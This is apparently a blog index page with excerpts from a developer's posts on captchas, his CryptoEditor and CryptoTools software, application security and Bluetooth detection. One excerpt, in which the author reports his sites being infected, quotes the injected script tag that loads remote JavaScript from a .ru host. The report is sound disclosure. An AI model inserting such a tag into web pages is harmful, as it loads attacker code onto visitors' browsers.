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Free Captchas, Google App Engine and OCR

Free Captchas, Google App Engine and OCR

Captchas are the distorted, almost unreadable strings you have to retype in a web page in order to do a specific action. The purpose of the captcha is to make sure the form has been filled by a human and not a “bot”. Most of the time you will find captchas on login and comment pages. […]

CryptoEditor 2.0.1 Available for Download

CryptoEditor 2.0.1 Available for Download

CryptoEditor 2.0.1 is now available for download. CryptoEditor is a personal data protection software that allows you to secure your passwords, credit card numbers, notes and more on your computer and online. Download the new version from the product website. What’s new in this release: Minimize the main window on manual Lock Improved synchronization speed Fixed […]

Sites Attacked by Script Virus

Sites Attacked by Script Virus

I found two of my sites infected by a virus. The following script was found at the end of all *.js, index*.html and index*.php files in my site: <script type=”text/javascript” src=”http://pantscow.ru:8080/Vector_Graphic.js”></script> <!–354d9b158e9c0f740d016556c9aa29ef–> The domain name in the script changes almost every two days so it is not easy to find help on the web about […]

Application Security

Application Security

I used to be an application security “expert”. This post is not a crash course in application security. It is a post about those who ask us to implement security in their application with no clues on what they really want.In fact, this definition is too vague. It applies to all the project managers I […]

CryptoTools and Android

CryptoTools and Android

Since Android phones are now available in Canada, I have been able to run some real-life tests of CryptoTools on Android. I tested CryptoTools on Android platforms versions 0.9RC1 and 1.5. The tests have been fully successfull on both platforms. Following is a simple program showing how to use CryptoTools in an Android application. http://github.com/pchretien/cryptoandroid Philippe Chrétien

Bluetooth is Watching You …

Bluetooth is Watching You …

I thought it could be fun to write a small program in Python using Bluetooth. I then read an article about the explosion in popularity of Bluetooth devices and decided to write a small program that would detect Bluetooth devices in a specific location. A trace of all these devices would then be kept in a […]

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